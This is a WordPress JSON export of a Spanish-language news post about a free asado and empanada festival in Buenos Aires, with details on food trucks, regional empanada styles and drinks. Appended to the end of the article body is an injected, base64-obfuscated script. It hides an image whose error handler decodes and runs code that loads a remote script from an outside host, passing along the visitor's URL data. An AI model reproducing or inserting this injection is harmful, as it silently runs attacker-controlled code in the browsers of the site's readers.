{"id":17036,"date":"2024-11-26T18:40:56","date_gmt":"2024-11-26T21:40:56","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=17036"},"modified":"2025-08-13T15:41:50","modified_gmt":"2025-08-13T18:41:50","slug":"festival-del-asado-y-la-empanada-en-buenos-aires-del-30-de-noviembre-al-1-de-diciembre","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/11\/26\/festival-del-asado-y-la-empanada-en-buenos-aires-del-30-de-noviembre-al-1-de-diciembre\/","title":{"rendered":"Festival del Asado y la Empanada en Buenos Aires: Del 30 de Noviembre al 1 de Diciembre"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-62f4cb23c5545b281f13397de9a5c379\" style=\"background-color:#681e1e\"><em>El 30 de noviembre y 1\u00b0 de diciembre, de 12 a 23 hs., con entrada libre y gratuita, llega la feria gastron\u00f3mica dedicada a dos de las comidas t\u00edpicas de nuestro pa\u00eds.<\/em><\/h4>\n\n\n\n<p>Este fin de semana de 12 a 23 hs., con entrada libre y gratuita e ingreso por Libertador y Dorrego, se llevar\u00e1 a cabo una cita imperdible para los fan\u00e1ticos de la parrilla y los platos tradicionales.<\/p>\n\n\n\n<p>En el \u201cFestival del Asado y la Empanada\u201d habr\u00e1 m\u00e1s de 30 food trucks con ofertas gastron\u00f3micas para todos los gustos y precios para todos los bolsillos. Una feria con todos los cortes, m\u00e9todos de cocci\u00f3n y variedades existentes: choripanes, costillares, colitas de cuadril, bondiolas, matambres, achuras, mollejas, vac\u00edo, entra\u00f1as, pamplonas, ojo de bife\u2026 Con el cl\u00e1sico chimichurri o salsa criolla, hasta combinaciones m\u00e1s gourmet o sin aderezos.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/img-s-msn-com.akamaized.net\/tenant\/amp\/entityid\/AA1uO0Dd.img?w=768&amp;h=578&amp;m=6&amp;x=126&amp;y=336&amp;s=552&amp;d=140\" alt=\"\"\/><figcaption class=\"wp-element-caption\"><em><sup>Festival del Asado y la Empanada \u2013 Foto: Carlos Martinez<\/sup><\/em><\/figcaption><\/figure>\n\n\n\n<p><strong>EMPANADAS DE TODAS LAS REGIONES<\/strong><\/p>\n\n\n\n<p>Adem\u00e1s de las mejores carnes, ser\u00e1 un festival federal en el que se podr\u00e1n probar empanadas representativas de todas las regiones argentinas: de Salta, con papa, huevo duro, cebolla de verdeo, comino, pimiento, piment\u00f3n y carne cortada a cuchillo; las de Jujuy, que incorporan entre sus ingredientes t\u00edpicos las arvejas y el aj\u00ed molido; las de Tucum\u00e1n, con matambre vacuno y el agregado de pasas de uva, y cocinadas al horno; las de La Rioja, peque\u00f1as y jugosas, con carne de cuadril; las de San Juan, con el agregado de tomate pelado y ajo en el relleno; las de Chubut y Santa Cruz, con cordero patag\u00f3nico como ingrediente b\u00e1sico, \u00a1y muchas opciones m\u00e1s!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/img-s-msn-com.akamaized.net\/tenant\/amp\/entityid\/AA1uNKxE.img?w=768&amp;h=577&amp;m=6\" alt=\"\"\/><figcaption class=\"wp-element-caption\"><em><sup>Festival del Asado y la Empanada \u2013 Foto: Nueva Comunicaci\u00f3n<\/sup><\/em><\/figcaption><\/figure>\n\n\n\n<p><strong>BUEN BEBER<\/strong><\/p>\n\n\n\n<p>Tambi\u00e9n estar\u00e1n presentes los ricos vinos mendocinos, las cervezas artesanales (Rabieta ser\u00e1 la cerveza exclusiva de la feria con su oferta de Golden, Irish Red Ale, Ipa,Red Ipa, Honey, Fresh Lager y Dry Stout, entre otras); y los tragos preferidos por el comensal fan\u00e1tico de las carnes: fernet, verm\u00fa, entre otros.<\/p>\n\n\n\n<p><strong>BA CAPITAL GASTRON\u00d3MICA<\/strong><\/p>\n\n\n\n<p>El Festival del Asado y la Empanada cuenta con el apoyo de BA Capital Gastron\u00f3mica, un programa de gobierno que busca posicionar a la Ciudad de Buenos Aires como capital gastron\u00f3mica de Am\u00e9rica Latina. Su objetivo es potenciar la actividad econ\u00f3mica a trav\u00e9s del desarrollo gastron\u00f3mico porte\u00f1o, desde la generaci\u00f3n de empleo y la promoci\u00f3n de pol\u00edticas alimentarias sostenibles.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" src=\"https:\/\/img-s-msn-com.akamaized.net\/tenant\/amp\/entityid\/AA1pwZLL.img?w=160&amp;h=160\" alt=\"\" style=\"width:81px;height:auto\"\/><figcaption class=\"wp-element-caption\"><em>Fuente: Panorama directo<\/em><\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>El 30 de noviembre y 1\u00b0 de diciembre, de 12 a 23 hs., con entrada libre y gratuita, llega la feria gastron\u00f3mica dedicada a dos de las comidas t\u00edpicas de nuestro pa\u00eds. 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